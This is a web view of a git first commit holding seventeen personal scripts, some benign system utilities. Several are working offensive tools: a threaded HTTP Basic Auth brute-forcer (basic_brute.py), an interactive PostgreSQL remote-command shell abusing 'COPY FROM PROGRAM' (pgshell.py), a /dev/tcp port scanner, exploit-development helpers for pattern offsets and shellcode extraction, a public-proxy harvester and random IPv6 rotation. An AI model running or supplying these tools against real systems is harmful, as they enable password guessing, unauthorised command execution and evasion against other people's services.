Browse Source

first commit

master
sp0re 1 year ago
commit
5b357c7523
17 changed files with 986 additions and 0 deletions
  1. +1
    -0
      .gitignore
  2. +1
    -0
      README.md
  3. +4
    -0
      asm_compile.sh
  4. +206
    -0
      basic_brute.py
  5. +57
    -0
      check_jail_updates.sh
  6. +110
    -0
      dupes.py
  7. +3
    -0
      extract_sc.sh
  8. +20
    -0
      fixIndent.py
  9. +84
    -0
      get_prox.py
  10. +85
    -0
      mkjail.sh
  11. +7
    -0
      nbap.sh
  12. +104
    -0
      pattern.py
  13. +102
    -0
      pgshell.py
  14. +139
    -0
      pymgur.py
  15. +8
    -0
      randwall.sh
  16. +9
    -0
      set_rand_ipv6.sh
  17. +46
    -0
      update_kernel.sh

+ 1
- 0
.gitignore View File

@@ -0,0 +1 @@
.imgur_secrets

+ 1
- 0
README.md View File

@@ -0,0 +1 @@
# Random autistic scripts

+ 4
- 0
asm_compile.sh View File

@@ -0,0 +1,4 @@
#!/usr/bin/env bash
nasm -f elf64 "$1.s"
ld -o "$1" "$1.o"
rm -f "$1.o"

+ 206
- 0
basic_brute.py View File

@@ -0,0 +1,206 @@
#!/usr/bin/python3

import sys
import socket
import ssl
import time
from base64 import b64encode
from argparse import ArgumentParser
from threading import Thread, Lock

thread_num = None

batch_size = None
credlist = list()

lock = Lock()
over = False

total = current = 0

class Protocol:
PLAIN = 0
SSL = 1

def getargs():
p = ArgumentParser()
p.add_argument("-u", "--url", help="URL to bruteforce", required=True)

login_grp = p.add_mutually_exclusive_group(required=True)
login_grp.add_argument("-l", help="Single login to use")
login_grp.add_argument("-L", help="Login file to use")

passwd_grp = p.add_mutually_exclusive_group(required=True)
passwd_grp.add_argument("-p", help="Single password to use")
passwd_grp.add_argument("-P", help="Password file to use")

p.add_argument("-t", "--threads", help="Total (false) threads to use (fuck you python)", required=False, default="100", type=int)

return p.parse_args()

def parse_url(url):
proto = Protocol.PLAIN
if url.find("http://") != -1 or url.find("https://") != -1:
if url.find("https://") != -1:
port = 443
url = url[8:]
proto = Protocol.SSL
else:
port = 80
url = url[7:]
else:
port = 80
if url.find("/") != -1:
domain = url[:url.index("/")]
else:
domain = url

if domain.find(":") != -1:
port = int(domain.split(":")[1])
domain = domain.split(":")[0]

if url.find("/") != -1:
path = url[url.index("/"):]
else:
path = ""
ip = socket.gethostbyname(domain)
return (ip, port, proto, domain, path)


def error(msg):
print("\033[31m{}\033[0m".format(msg))
sys.exit(1)

def main():
global credlist, lock, batch_size, total
args = getargs()

print("Brute-force basic auth !")

try:
parsed_url = parse_url(args.url)
except:
error("Unable to parse url {}".format(args.url))

thread_num = args.threads

logins = passwords = list()
logins = [args.l] if args.l else listfromfile(args.L)
passwords = [args.p] if args.p else listfromfile(args.P)


for l in logins:
for p in passwords:
credlist.append(l+":"+p)

total = len(credlist)
print("Logins: {}, Passwds: {}, total: {}".format ( \
len(logins), \
len(passwords), \
total \
))
batch_size = len(credlist) // thread_num + (len(credlist) % thread_num > 0)
threads = list()
t0 = time.time()

print("Starting {} thread(s)... ({} reqs per thread)".format(thread_num, batch_size))
for t in range(thread_num):
threads.append(Thread(target=worker, args=(parsed_url)))
threads[t].daemon = True
threads[t].start()

t = Thread(target=stats)
t.daemon = True
t.start()
threads.append(t)

for t in threads:
try:
t.join(600)
except KeyboardInterrupt:
print("Ctrl+C hit. Exiting...")
return

print("\nFinished in {} seconds".format(int(time.time() - t0)))



def worker(ip, port, proto, domain, path):
global credlist, over, current
while not over:
with lock:
local = list()
if len(credlist) >= batch_size:
local = credlist[:batch_size]
credlist = credlist[batch_size:]
elif len(credlist) == 0:
return
else:
local = credlist
credlist=[]

for cred in local:
if over:
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if proto == Protocol.SSL:
s = ssl.wrap_socket(s)
s.connect((ip, port))
s.send(req(domain, path, cred))
ret = s.recv(4096)

print(ret)

if not b"not authenticated" in ret:
print("\n\nw00t w00t! - \033[32m{}\033[0m\n".format(cred))
print(ret)
over = True
current += 1

def stats():
rnd = 0
current_0 = current
to = time.time()
arrrps = [0, 0, 0, 0, 0]
arreta = [0, 0, 0, 0, 0]
while not over:
time.sleep(1)

arrrps += [int((current - current_0) / (time.time() - to))]
rps = int(sum(arrrps[-5:]) / 5)
arrrps = arrrps[-5:]

arreta += [int((total - current) / rps)]
eta = int(sum(arreta[-5:]) / 5)
arreta = arreta[-5:]
if rnd >= 5:
sys.stdout.write("Stats: Requests made: {}/{} | Speed: {} r/s | ETA: {}s \r".format( \
current \
,total \
,rps \
,eta \
))
else:
sys.stdout.write("Stats: Requests made: {}/{} \r".format( \
current \
,total \
))

rnd+=1


def req(domain, path, creds):
req = "GET {} HTTP/1.1\n".format(path)
req += "Host: {}\n".format(domain)
req += "Authorization: Basic " + b64encode(bytes(creds, 'utf-8')).decode('utf-8') + "\r\n\r\n"
return bytes(req, 'utf-8')

def listfromfile(filename):
data = list()
for line in [line.decode('utf-8', 'ignore').replace("\n", "") for line in open(filename, "rb") if line]:
data.append(line)
return data


if __name__=='__main__':
main()

+ 57
- 0
check_jail_updates.sh View File

@@ -0,0 +1,57 @@
#!/bin/sh

BASE=/opt/jails

OMIT=/etc:tor/data/state:.pid:access_log:error_log

if [ -z "$1" ]; then
JAILS=`ls -d $BASE/*/`
else
JAILS="$1"
fi

echo "[*] Omitting these patterns in filenames: '$OMIT'"

for i in $JAILS; do

echo "[*] Now checking '$i' ..."
JAIL_OUTDATED=false

JAIL_FILES=`find "$i" -type f`

for file in $JAIL_FILES; do

OLD_IFS=$IFS
IFS=":" read -ra OMIT_PATTERNS <<< "$OMIT"
skip=false
for j in ${OMIT_PATTERNS[@]}; do
if [[ "$file" =~ $j ]]; then
skip=true
continue
fi
done

if $skip; then
# echo "Skipping '$file'..."
continue
fi

original_file="/${file/${i:-1}/}"
#original_file=$(echo "$file" |sed -e "s~$i~~g")
if [ ! -f "$original_file" ]; then
continue
fi
if [ "$(md5sum "$original_file" |cut -d' ' -f1)" != "$(md5sum "$file" |cut -d' ' -f1)" ]; then
echo "[!] '$file' is outdated"
JAIL_OUTDATED=true
fi

done

if $JAIL_OUTDATED; then
echo "[!] Jail is outdated, TODO: code the automatic copy."
else
echo "[*] All good!"
fi

done

+ 110
- 0
dupes.py View File

@@ -0,0 +1,110 @@
#!/usr/bin/env python3

import argparse
import psycopg2 as pg


def get_args():
p = argparse.ArgumentParser()
p.add_argument("-H", "--host",help="Hostname or IP", default="localhost")
p.add_argument("-p", "--port",help="Port of the service", default="5432")
p.add_argument("-d", "--dbname",help="database to connect", default="postgres")
p.add_argument("-U", "--user",help="Username to connect with", required=True)
p.add_argument("-P", "--pass",help="Password to use", required=True)
p.add_argument("-t", "--table", help="Table to delete dupes", required=True)
p.add_argument("-w", "--where", help="Custom where clause")
p.add_argument("--delete", help="Perform the deletion", action='store_true')

return vars(p.parse_args())


def get_dupes_count_query(args, cols):
dupes_count_query = "SELECT COUNT(*) FROM (SELECT "
dupes_count_query += ", ".join(cols['name'])
dupes_count_query += f", count(*) FROM {args['table']}"
dupes_count_query += f" where {args['where']}" if args['where'] else ""
dupes_count_query += " GROUP BY "
dupes_count_query += ", ".join(cols['name'])
dupes_count_query += " having count(*) > 1"
dupes_count_query += ") A"
return dupes_count_query


def gen_coal_values(cols):
coal = []
for i in range(len(cols['type'])):
if cols['type'][i] in ('character varying', 'text'):
coal += [f"COALESCE(a.{cols['name'][i]}, 'NULL')=COALESCE(b.{cols['name'][i]}, 'NULL')"]
elif cols['type'][i] in ('timestamp', 'timestamp without time zone'):
coal += [f"COALESCE(a.{cols['name'][i]}, '1970-01-01 00:00:00')=COALESCE(b.{cols['name'][i]}, '1970-01-01 00:00:00')"]
elif cols['type'][i] in ('integer', 'double precision'):
coal += [f"COALESCE(a.{cols['name'][i]}, -1)=COALESCE(b.{cols['name'][i]}, -1)"]
else:
coal += [f"COALESCE(a.{cols['name'][i]}, -1)=COALESCE(b.{cols['name'][i]}, -1)"]
return coal


def get_del_query(args, cols):
del_query = f"DELETE FROM {args['table']} a using (select min(ctid) as ctid, "
del_query += ", ".join(cols['name'])
del_query += f", count(*) from {args['table']} group by "
del_query += ", ".join(cols['name'])
del_query += " having count(*) > 1) b where "
del_query += " and ".join(cols['coal'])
del_query += " and a.ctid <> b.ctid"
del_query += f" and a.{args['where']}" if args['where'] else ""
return del_query


def main():
args = get_args()

conn = pg.connect(f"host={args['host']} port={args['port']} dbname={args['dbname']} user={args['user']} password={args['pass']}")
cur = conn.cursor()
schema,table = args['table'].split(".")

cur.execute(f"select data_type, column_name from information_schema.columns where table_schema = '{schema}' and table_name = '{table}'")
tmp = cur.fetchall()

cols = {}
cols['type'] = [x[0] for x in tmp]
cols['name'] = [x[1] for x in tmp]

dupes_count_query = get_dupes_count_query(args, cols)
cur.execute(dupes_count_query)
total_dupes = [x[0] for x in cur.fetchall()][0]
print(f"[*] Total dupes: {total_dupes}")

if not args['delete']:
return

if total_dupes == 0:
print("[!] No dupes to delete... Exiting...")
return

cols['coal'] = gen_coal_values(cols)

del_query = get_del_query(args, cols)
cur.execute(del_query)

print("[+] Dupes deleted")

cur.execute(dupes_count_query)
total_dupes = [x[0] for x in cur.fetchall()][0]
print(f"[*] Total dupes: {total_dupes}")

user_input = input("Shall we commit? [Y/n]: ")

if user_input.lower() == 'n':
print("[*] Rollbacking ...")
cur.execute("rollback")
print("[+] Done!")
return


cur.execute("commit")
print("[+] Commited!")


if __name__=='__main__':
exit(main())

+ 3
- 0
extract_sc.sh View File

@@ -0,0 +1,3 @@
#!/usr/bin/env bash

objdump -d "$1" |grep -E '^( +)([0-9a-f]+):' |awk -F'\t' '{print $2}' |tr -d '\n' |sed -e 's/ \+/ /g' -e 's/ $//g' -e 's/^/ /g' -e 's/ /\\x/g'; echo

+ 20
- 0
fixIndent.py View File

@@ -0,0 +1,20 @@
#!/usr/bin/env python3

import sys

def main(argv):
if len(argv) <= 1:
print("Usage: python3 {} <file to fix>".format(argv[0]))
exit()

with open(argv[1], "r") as f:
data = f.read()
data = data.replace("\t", " ")
with open(argv[1], "w") as f:
f.write(data)
print("done")

return 0

if __name__=='__main__':
exit(main(sys.argv))

+ 84
- 0
get_prox.py View File

@@ -0,0 +1,84 @@
#!/usr/bin/python3

import sys
import time
import requests
import socket
from argparse import ArgumentParser

proxy_list = dict()
throttle=0.5
def main():

args = getargs()
last_i = 0
i=1
types=list()

if not args.socks5 and not args.socks4 and not args.http:
print("[!] Error! Please select at least one protocol...")
return

if args.socks5:
types.append("socks5")
if args.socks4:
types.append("socks4")
if args.http:
types.append("http")

while True:
if i > args.count:
break
if i > last_i:
print(f"[*] Getting proxy num {i}...")
last_i = i
time.sleep(throttle)
r = requests.get("https://gimmeproxy.com/api/getProxy")
ret = r.json()
print(ret)


if 'protocol' in ret:
if (ret['protocol'] in types):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ret['ip'], int(ret['port'])))
s.close()
except:
print("[x] Proxy not responding...")
continue

if not ret['protocol'] in proxy_list:
proxy_list[ret['protocol']] = list()
proxy_list[ret['protocol']].append( (ret['ip'], ret['port'], ret['country']) )
i+=1


for proto in proxy_list:
print(f"-- {proto} --")
for proxy in proxy_list[proto]:
print(f"{proto} {proxy[0]} {proxy[1]} # {proxy[2]}")
print("")

if args.output:
with open(args.output, "w") as f:
for proto in proxy_list:
f.write(f"# {proto}\n")
for proxy in proxy_list[proto]:
f.write(f"{proto} {proxy[0]} {proxy[1]} # {proxy[2]}\n")


def getargs():
p = ArgumentParser()
p.add_argument("-c", "--count", help="How many proxies to fetch", default=10, type=int)
p.add_argument("-s5", "--socks5", help="Getting socks5 proxies", action="store_true", default=False)
p.add_argument("-s4", "--socks4", help="Getting socks4 proxies", action="store_true", default=False)
p.add_argument("-ht", "--http", help="Getting http proxies", action="store_true", default=False)
p.add_argument("-o", "--output", help="Output to file")

return p.parse_args()


if __name__=='__main__':
main()

+ 85
- 0
mkjail.sh View File

@@ -0,0 +1,85 @@
#!/bin/sh

if [ -z "$1" ]; then
echo "Usage: $0 <binToJail>"
exit
fi


BIN_PATH=`which "$1"`

if [ -z $BIN_PATH ]; then
echo "$1 not found."
exit
fi

echo "Jailing '$BIN_PATH'..."

JAIL=/opt/jails/$1


rm -rf $JAIL

# FS
mkdir $JAIL
mkdir $JAIL/{etc,dev,var,usr,run}

mkdir $JAIL/usr/share

mkdir $JAIL/lib64
mkdir $JAIL/usr/lib64

mkdir $JAIL/bin
mkdir $JAIL/usr/bin
mkdir $JAIL/usr/sbin

mkdir $JAIL/tmp
mkdir $JAIL/var/tmp

chmod 1777 $JAIL/tmp
chmod 1777 $JAIL/var/tmp

echo "Base filesystem created"

# dev

mknod -m 0666 $JAIL/dev/null c 1 3
mknod -m 0666 $JAIL/dev/random c 1 8
mknod -m 0444 $JAIL/dev/urandom c 1 9

echo "Special devices created"

# cp binary
cp "$BIN_PATH" "$JAIL$BIN_PATH"

echo "'$BIN_PATH' binary copied to '$JAIL$BIN_PATH'"

# required libs
RAW_LIBS=`ldd $BIN_PATH`

LIBS_LIST=`echo "$RAW_LIBS" |awk -F '=>' '{print $2}' |awk -F' ' '{print $1}'`

for lib in $LIBS_LIST; do
echo "Copying '$lib' to '$JAIL$lib'..."
cp "$lib" "$JAIL$lib"
done

cp /lib64/ld-linux-x86-64.so.2 $JAIL/lib64/

echo "Required libs copied"

# locales
echo "Copying locales..."
cp -r /usr/share/locale $JAIL/usr/share

# create passwd / group
grep "^nobody" /etc/passwd > $JAIL/etc/passwd
grep "^nobody" /etc/group > $JAIL/etc/group

# useful etc files
cp /etc/{resolv.conf,hosts,host.conf,nsswitch.conf} $JAIL/etc/

echo "Etc files created."

echo "Should be good to go!"
echo "start the chroot with 'chroot $JAIL $BIN_PATH'"

+ 7
- 0
nbap.sh View File

@@ -0,0 +1,7 @@
#!usr/bin/env bash
ip="$1"
max="$2"
for (( i=1; i<=$max; i++ )); do
bash -c "(</dev/tcp/$ip/$i) >/dev/null 2>&1" && echo -e "\nOpen:\t$i" || echo -ne "($((i-MINPORT))/$((max-1)))\r";
done


+ 104
- 0
pattern.py View File

@@ -0,0 +1,104 @@
#!/usr/bin/env python3

import os
from argparse import ArgumentParser
from binascii import hexlify, unhexlify

CHARS=[
"abcdefghijklmnopqrstuvwxyz",
"0123456789",
"ABCDEFGHIJKLMNOPQRSTUVWXYZ",
"abcdefghijklmnopqrstuvwxyz"
]
PATTERN_LIMIT = 10000000


def get_ascii_pattern(pattern):
pattern=pattern.replace("\\x", "")
try:
ret=unhexlify(pattern)
except:
ret=pattern.encode('ascii')
pass

return str(ret, 'ascii')

def get_pattern(**kwargs):
if not 'length' in kwargs \
and not 'offset' in kwargs:
return None

retLength = kwargs['length'] if 'length' in kwargs else None
offset = kwargs['offset'] if 'offset' in kwargs else None
ret=""
rnd=0
i=[0 for _ in range(len(CHARS))]

while True:

ret+=CHARS[rnd%len(CHARS)][i[rnd%len(CHARS)]]
rnd+=1

if retLength:
if rnd == retLength:
break

if rnd%len(CHARS) == 0:
for j in range(len(CHARS)-1, 0, -1):
i[j]+=1
if i[j] < len(CHARS[j]):
break
i[j]=0

if offset:
if len(ret) >= len(offset):
if ret[(len(offset)*-1):] == offset:
ret = f"Pattern found at offset {rnd-len(offset)}"
break

if rnd >= PATTERN_LIMIT:
ret = None
break

return ret


def get_args():
p = ArgumentParser(description="Create a rettern to facilitate exploit dev")
g = p.add_mutually_exclusive_group(required=True)
g.add_argument("-c", "--create", help="Create a new rettern", type=int)
g.add_argument("-o", "--offset", help="Get the offset of a rettern", type=str)

return p.parse_args()

def inverse_endianness(pattern):
return pattern[::-1]

def main():
args = get_args()

if args.create:
ret=get_pattern(length=args.create)

elif args.offset:
pat=get_ascii_pattern(args.offset)
ret=get_pattern(offset=pat)

if not ret:
pat=inverse_endianness(pat)
ret=get_pattern(offset=pat)

if not ret:
pat=inverse_endianness(pat)
print(f"Pattern {pat} not found in the first {PATTERN_LIMIT} characters...")
return

if os.fstat(0) == os.fstat(1):
print(ret)
else:
print(ret, end="")

return 0

if __name__=='__main__':
exit(main())

+ 102
- 0
pgshell.py View File

@@ -0,0 +1,102 @@
#!/usr/bin/env python3

import argparse
import random
import psycopg2 as pg

rand_str = lambda x: ''.join(random.choices("abcdefghijklmnopqrstuvwxyz", k=x))

class PGShell(object):

def __init__(self, **kwargs):
self.host = kwargs['host']
self.port = kwargs['port']
self.user = kwargs['user']
self.password = kwargs['pass']
self.dbname = kwargs['dbname']

self.tablename = rand_str(random.randint(8, 15))
self.columnname = rand_str(random.randint(2, 5))

self.conn = None

if not self.connect():
exit()


def connect(self):
print(f"[*] Connecting to {self.host}:{self.port}... (db: {self.dbname}, user: {self.user})")
try:
self.conn = pg.connect(f"host={self.host} port={self.port} user={self.user} password={self.password} dbname={self.dbname}")
print("[!] Connected!")
print(f"[*] We will use table {self.tablename} and column {self.columnname} to leverage RCE...")
return True
except:
print("[x] Connection error!")
return False

def do_query(self, query):
cur = self.conn.cursor()
cur.execute(query)
try:
return [x[0] for x in cur.fetchall()]
except:
return None

def init_recon(self):
user = self.do_query("select current_user")[0]
print(f"[*] Connected as user {user}")
self.su = self.do_query(f"select usesuper from pg_catalog.pg_user where usename='{user}'")[0]
if self.su:
print(f"[!] Sweet! {user} is superuser!")
return True
else:
print(f"[x] Unable to leverage RCE... {user} is not a superuser")
return False


def rce(self, command):
self.do_query(f"drop table if exists {self.tablename}")
self.do_query(f"create table {self.tablename}({self.columnname} TEXT)")
self.do_query(f"COPY {self.tablename} from program '{command}'")
data = self.do_query(f"select {self.columnname} from {self.tablename}")
self.do_query(f"drop table {self.tablename}")
return data

def clean(self):
print("\n[*] Cleaning database...")
self.do_query("rollback")
self.do_query(f"drop table if exists {self.tablename}")

def get_args():
p = argparse.ArgumentParser()
p.add_argument("-H", "--host",help="Hostname or IP", default="localhost")
p.add_argument("-p", "--port",help="Port of the service", default="5432")
p.add_argument("-d", "--dbname",help="database to connect", default="postgres")
p.add_argument("-U", "--user",help="Username to connect with", required=True)
p.add_argument("-P", "--pass",help="Password to use", required=True)

return vars(p.parse_args())

def main():
args = get_args()
pgshell = PGShell(**(args))
if not pgshell.init_recon():
return

try:
while True:
user_input = input(f"{pgshell.user}>> ")
try:
for line in pgshell.rce(user_input):
print(line)
print("-"*50)
except Exception as e:
print(f"[x] Error: {e}")
pgshell.clean()
except KeyboardInterrupt:
pgshell.clean()
return

if __name__=='__main__':
exit(main())

+ 139
- 0
pymgur.py View File

@@ -0,0 +1,139 @@
#!/usr/bin/env python3
# helper for interacting with imgur api
# Now only download images and images from album
# I'll add new features once needed...


import requests
from argparse import ArgumentParser
from os import mkdir

SECRET_FILE="./.imgur_secrets"
BASE_URL = "https://api.imgur.com/3/"


def get_args():
p = ArgumentParser(description="Python helper for interacting with imgur api")

p.add_argument("--no-verify", help="Do not verify ssl certificate", action="store_true", default=False)
p.add_argument("-i", "--image", help="Download an image")
p.add_argument("-a", "--album", help="Download an album")
p.add_argument("-u", "--upload", help="Upload an image")
p.add_argument("-o", "--output", help="Output directory for downloaded content", default=".")

return p.parse_args()


def get_secrets():
CLIENT_ID = CLIENT_SECRET = ""
with open(SECRET_FILE, "r") as f:
lines = f.readlines()

for line in lines:
line = line.replace("\n","")

if line.startswith("CLIENT_ID"):
CLIENT_ID = line.split("=")[1]
elif line.startswith("CLIENT_SECRET"):
CLIENT_SECRET = line.split("=")[1]

return (CLIENT_ID, CLIENT_SECRET)


class Pymgur(object):
def __init__(self, secrets, no_verify):
self.cid, self.csec = secrets
self.verify = not no_verify
self.s = requests.Session()

if not self.verify:
requests.packages.urllib3.disable_warnings()
print("[!] Warning: SSL cert check is disabled.")


def get(self, endpoint, fmt=None):
return self.raw_get(f"{BASE_URL}{endpoint}", {'Authorization': f'Client-ID {self.cid}'}, fmt)

def raw_get(self, url, headers=None, fmt=None):
data = self.s.get(url, headers=headers, verify=self.verify)
if fmt == 'json':
return data.json()
else:
return data.content

def post(self, endpoint, data, fmt=None):
data=self.s.post( \
f"{BASE_URL}{endpoint}", \
headers={'Authorization': f'Client-ID {self.cid}'}, \
data=data, \
verify=self.verify \
)
if fmt == 'json':
return data.json()
else:
return data.content


def get_ext(imgtype):
ext = ""
if imgtype == 'image/jpeg':
ext = "jpg"
elif imgtype == 'image/png':
ext = "png"
return ext


def main():
args = get_args()
pymgur = Pymgur(get_secrets(), args.no_verify)

if args.upload:
print(f"[*] Uploading {args.upload} to imgur...")
with open(args.upload, "rb") as f:
data=f.read()
from base64 import b64encode
b64data = b64encode(data)
ret=pymgur.post("image", {'image': b64data, 'type': 'base64'}, fmt='json')
if ret['success']:
print(f"[+] Successfully uploaded as {ret['data']['link']}")
else:
print("[x] Error while uploading image...")
return

if args.image:
print(f"[*] Downloading image {args.image}...")
imgdata = pymgur.get(f"image/{args.image}", fmt='json')['data']
img = pymgur.raw_get(imgdata["link"])
ext = get_ext(imgdata['type'])

with open(f"{args.output}/{imgdata['id']}.{ext}", "wb") as f:
f.write(img)

print(f"[+] Image saved @ {args.output}/{imgdata['id']}.{ext}")
return

if args.album:
print("[*] Retrieving album images...")
albumdata = pymgur.get(f"album/{args.album}/images", fmt='json')['data']
print(f"[+] Data acquired, total images: {len(albumdata)}")
print(f"[*] Downloaded images will go to {args.output}/{args.album} ...")

try:
mkdir(f"{args.output}/{args.album}")
except FileExistsError:
pass

for imgdata in albumdata:
img = pymgur.raw_get(imgdata["link"])
ext = get_ext(imgdata['type'])
print(f"[*] Downloading image {imgdata['id']} to {args.output}/{args.album}/{imgdata['id']}.{ext} ...")

with open(f"{args.output}/{args.album}/{imgdata['id']}.{ext}", "wb") as f:
f.write(img)

print("[+] All images from album retrived!")
return


if __name__=='__main__':
main()

+ 8
- 0
randwall.sh View File

@@ -0,0 +1,8 @@
#!/usr/bin/env bash

ls $HOME/wallpapers/ |sort -R |tail -1 |while read file; do

feh --bg-center "$HOME/wallpapers/$file"
wal -i "$HOME/wallpapers/$file"

done

+ 9
- 0
set_rand_ipv6.sh View File

@@ -0,0 +1,9 @@
#!/bin/sh

for i in `seq 1 $1`; do
ip=2001:41d0:1:569f::$(( (RANDOM % 9000) + 1 )):$(( (RANDOM % 9000) + 1 ))
echo "Adding $ip ..."

ip -6 addr add $ip dev eth0

done

+ 46
- 0
update_kernel.sh View File

@@ -0,0 +1,46 @@
#!/bin/sh

PATH=/usr/bin:/bin

if [ -z "$1" ]; then
echo "usage: $0 <version> <suffix>"
exit 1
fi
name="$1"
if [ -n "$2" ]; then
name="$1-$2"
fi

tmpd=/tmp/_boot_$name.backup
mkdir $tmpd

echo "Backing up /boot to $tmpd..."
cp -r /boot/* $tmpd/

current_initramfs=`find /boot -maxdepth 1 -type f |grep "\.img" |cut -d'/' -f3`
current_kernel=`find /boot -maxdepth 1 -type f |grep -v "$current_initramfs" |grep -v '\.keep' |cut -d'/' -f3`

echo "Replacing '$current_kernel' and '$current_initramfs'..."

find /boot -maxdepth 1 -type f |grep -v "\.keep" |xargs rm -f

echo "Kernel copy to '/boot/kernel-$name'"
cp /usr/src/linux/arch/x86_64/boot/bzImage /boot/kernel-$name


dra=`dracut --kernel-image /boot/kernel-$name -m "rootfs-block base" --no-kernel --force 2>&1 |grep "initramfs\(.*\)done" |cut -d'/' -f3 |cut -d"'" -f1`

if [ -n "$dra" ]; then
mv "/boot/$dra" "/boot/initramfs-$name.img"
echo "Initramfs 'initramfs-$name.img' installed"
else
echo "Error@dracut"
exit
fi

echo "Replacing grub entries.."
sed -i "s/$current_initramfs/initramfs-$name.img/g" /boot/grub/grub.cfg
sed -i "s/$current_kernel/kernel-$name/g" /boot/grub/grub.cfg
echo "grub entries replaced"
echo "should be good!"


Loading…
Cancel
Save